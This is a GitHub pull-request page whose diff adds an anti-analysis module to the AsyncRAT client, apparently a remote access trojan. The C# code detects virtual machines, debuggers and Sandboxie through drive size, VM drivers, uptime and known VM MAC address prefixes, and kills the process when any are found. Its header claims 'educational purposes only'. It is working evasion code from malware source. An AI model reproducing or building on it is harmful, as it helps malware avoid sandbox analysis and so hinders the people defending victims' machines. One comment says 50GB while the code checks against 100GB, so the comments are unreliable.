Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

UI changes to the Remote Shell #31

Merged
merged 4 commits into from
May 21, 2019
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Prev Previous commit
Next Next commit
Add files via upload
  • Loading branch information
MrDevBot authored May 21, 2019
commit 0e5870a795f5c611ccc3d5247f368c72a5006bf3
87 changes: 78 additions & 9 deletions AsyncRAT-C#/Client/Helper/Anti_Analysis.cs
Original file line number Diff line number Diff line change
@@ -1,26 +1,95 @@
using System;
using System.Diagnostics;
using System.Linq;
using System.Management;
using System.Runtime.InteropServices;

// │ Author : NYAN CAT
// │ Name : Anti Analysis v0.2
// │ Contact : https://github.com/NYAN-x-CAT

// This program is distributed for educational purposes only.

using System.Net.NetworkInformation;
using System.Runtime.InteropServices;

// │ Author : NYAN CAT
// │ Name : Anti Analysis v0.2
// │ Contact : https://github.com/NYAN-x-CAT

// This program is distributed for educational purposes only.




namespace Client.Helper
{

class Anti_Analysis
{
{
private static long GB_50 = 50000000000;
public static void RunAntiAnalysis()
{
if (DetectVirtualMachine() || DetectDebugger() || DetectSandboxie())
Environment.FailFast(null);
}

internal static bool SmallHDD()
{

// Method One - main drive smaller than 50gb, likely a VM
long driveSize = Methods.GetMainDriveSize();
if (driveSize <= GB_50 * 2)
return true;

// Method Two - has common card of virtual machine
if (HasVMCard())
return true;

// Method Three - checks for vm drivers
if (HasVBOXDriver())
return true;

// Method Four - if machine has been on for less than 5 mins
if (GetUptime() < TimeSpan.FromMinutes(5))
return true;

// Method Five - has VM mac address
if (HasVMMac())
return true;

return false;
}
private static bool HasVMMac()
{
var macAddr =
(
from nic in NetworkInterface.GetAllNetworkInterfaces()
where nic.OperationalStatus == OperationalStatus.Up
select nic.GetPhysicalAddress().ToString()
).FirstOrDefault();

var macs = new[]
{
"00-05-69",
"00:05:69",
"000569",
"00-50-56",
"00:50:56",
"005056",
"00-0C-29",
"00:0C:29",
"000C29",
"00-1C-14",
"00:1C:14",
"001C14",
"08-00-27",
"08:00:27",
"080027",
};
foreach (string mac in macs)
{
if (mac == macAddr)
return true;
}
return false;
}




private static bool DetectVirtualMachine()
{
using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
Expand Down